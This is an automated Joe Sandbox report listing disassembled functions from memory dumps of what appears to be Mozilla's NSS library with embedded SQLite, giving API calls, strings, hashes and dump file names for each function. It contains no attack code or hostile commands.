API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction ID: 889e7f4f19c6208b2f5eaa78cd9e621a07d26bf1b1fbae05392763aab7ae4b2a
Opcode Fuzzy Hash: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction Fuzzy Hash: F23153B1A01218AFEB11AF64DD48BAE7BF8FF49305F044075FA0992250EB315D94CF69

Function 6C643D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C643DFB
__allrem.LIBCMT ref: 6C643EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C643FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C644047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C64415F
__allrem.LIBCMT ref: 6C64416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C644288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6442AB
__allrem.LIBCMT ref: 6C6442B7

Strings

%02d, xrefs: 6C644086
%03d, xrefs: 6C6442E8
%04d, xrefs: 6C64407B
%lld, xrefs: 6C643FB2

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction ID: f59378010d208610e0fd5f0b141a5aedc8739e4045eb2c189fef57281f03b2e4
Opcode Fuzzy Hash: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction Fuzzy Hash: 09F11271A087409FD715CF38C882BABB7F6AF86348F14CA2DE48597A51EB70D845CB46

Function 6C64EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64EF63

Part of subcall function 6C6587D0: PORT_NewArena_Util.NSS3(00000800,6C64EF74,00000000), ref: 6C6587E8
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C64EF74,00000000), ref: 6C6587FD
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C64F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C64F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C64F374
PL_strcasecmp.NSS3(6C792FD4,?), ref: 6C64F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C64F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C64F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C64F67D
CERT_DestroyName.NSS3(?), ref: 6C64F68B

Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C658338
Part of subcall function 6C658320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C658364
Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C65838E
Part of subcall function 6C658320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6583A5
Part of subcall function 6C658320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6583E3

Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6584D9
Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C658528

Part of subcall function 6C658900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C658955

Strings

", xrefs: 6C64F21B
*, xrefs: 6C64F3C6
oid., xrefs: 6C64F2CF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction ID: e18ea9ed9a6248c5d47b41839ea4c31155bce88e10ac59415f4bc707a349553f
Opcode Fuzzy Hash: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction Fuzzy Hash: E122167160C3418FD714DE68C4907ABB7E6ABC531CF18CA2EE49587B91E7319805CB9B

Function 6C5F1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5F1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5F1FB7

Strings

no more rows available, xrefs: 6C5F2264
attached databases must use the same text encoding as main database, xrefs: 6C5F20CA
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5F1F83
unknown error, xrefs: 6C5F2291
unsupported file format, xrefs: 6C5F2188
sqlite_master, xrefs: 6C5F1C61
sqlite_temp_master, xrefs: 6C5F1C5C
another row available, xrefs: 6C5F2287
table, xrefs: 6C5F1C8B
abort due to ROLLBACK, xrefs: 6C5F2223

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction ID: dc1ad510cc31742feb499a7abd4afdb76cee612a0da93e9c2a0ada6c17ea11f1
Opcode Fuzzy Hash: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction Fuzzy Hash: 3612D0B16083418FD708CF19C884A5ABBF2BF85318F19896DD9A58BB51D731EC46CF92

Function 6C615F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

BINARY, xrefs: 6C618708, 6C618737, 6C6187B8
-, xrefs: 6C616228
2, xrefs: 6C6165B4
-, xrefs: 6C6162F9
ON clause references tables to its right, xrefs: 6C616BEC
u, xrefs: 6C6181DA
sub-select returns %d columns - expected %d, xrefs: 6C61805F
NOCASE, xrefs: 6C618703

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction ID: 38c0cadda4c5b945b9cf3d4fe8c143e571acde7e5c9caab0efc9128707572667
Opcode Fuzzy Hash: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction Fuzzy Hash: 8D43517460C3418FD304CF2DC490A5AB7E2FF89319F15866DE8998BB52D731E846CB96

Function 6C6BEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C6BF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C78218C), ref: 6C6BF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C6BF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6BF210

Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C6652F5
Part of subcall function 6C6652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C66530F
Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C665326
Part of subcall function 6C6652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C665340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF227

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C6BF23E

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C6BF3A8

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF3B3

Part of subcall function 6C662D20: PK11_DestroyObject.NSS3(?,?), ref: 6C662D3C
Part of subcall function 6C662D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C662D5F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction ID: 80cf96fd84a0ed2bac78895a38815606644b0437fb28ebfd1a2cf66311502bd0
Opcode Fuzzy Hash: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction Fuzzy Hash: 9AD180B9E016059FDB10CF99D880A9EB7F5EF48308F148429D915B7721EB31E816CB99

Function 6C6EDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE33

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6ED000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6EDE74,6C6C7FFA,00000002,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002), ref: 6C6ED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6EDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE121
PK11_FreeSymKey.NSS3(?), ref: 6C6EE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6EE195
PR_GetCurrentThread.NSS3 ref: 6C6EE1FC

Part of subcall function 6C6E2460: PR_SetError.NSS3(FFFFE005,00000000,6C787379,00000002,?), ref: 6C6E2493

Strings

key, xrefs: 6C6EE046
application data, xrefs: 6C6EDFE0
early application data, xrefs: 6C6EDFC9
handshake data, xrefs: 6C6EDFF7

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction ID: fd703863d4fb07b108205b5ff99832ef7ec28ef4d0d96e680d82ffdc432529d2
Opcode Fuzzy Hash: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction Fuzzy Hash: 5FC12571B0A2059BDB04CF65CC84BEAB7B4FF4D308F14413AE9099BA51E331E955CBA9

Function 6C5DECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5DEF98

Strings

database corruption, xrefs: 6C5DF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DF483
%s at line %d of [%.10s], xrefs: 6C5DF492

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction ID: 1338e076873cfff932da32471582f82806b0588efc20b7d9c458b78af9907f59
Opcode Fuzzy Hash: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction Fuzzy Hash: F162F270A043458FDB04CF6CCC44B9ABBB1AF45318F1A469DD8465BB92D771F886CB98

Function 6C67FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C67FD06

Part of subcall function 6C67F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C67F696
Part of subcall function 6C67F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C67F789
Part of subcall function 6C67F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C67F796
Part of subcall function 6C67F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C67F79F
Part of subcall function 6C67F670: SECITEM_DupItem_Util.NSS3 ref: 6C67F7F0

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FDAD

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FE00

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Part of subcall function 6C69E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C69E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C67FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C67FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C67FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C680007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C680029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C680044

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction ID: b990af6b15b6ac1fd24d98cf0d0623487ffe832766da8b78b6047aafeebbd8ae
Opcode Fuzzy Hash: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction Fuzzy Hash: 20B1C571504301AFE314CF29C840E6AB7E5FF89308F158A2DE95987A41EB70E945CBA6

Function 6C677D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C677DDC

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C677DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C677F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C677F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C677F98
PK11_FreeSymKey.NSS3(?), ref: 6C677FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C677FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C678000

Part of subcall function 6C699430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C677F0C,?,00000000,00000000,00000000,?), ref: 6C69943B
Part of subcall function 6C699430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C69946B
Part of subcall function 6C699430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C699546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C678110
PK11_FreeSymKey.NSS3(00000000), ref: 6C67811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C67822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C67823C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction ID: 542c96c9b8b8a6a6398a678c1cf8716156fc3b1d7e938fcd7c3dfba8fa4d25ff
Opcode Fuzzy Hash: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction Fuzzy Hash: 41C16DB1D002199BEB21CF24CC44BEAB7B8EB09308F0085E5E919B6651E7319E85CFA5

Function 6C5EAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB0A2
CloseHandle.KERNEL32(?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?,?,?), ref: 6C5EB100
sqlite3_free.NSS3(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB12D

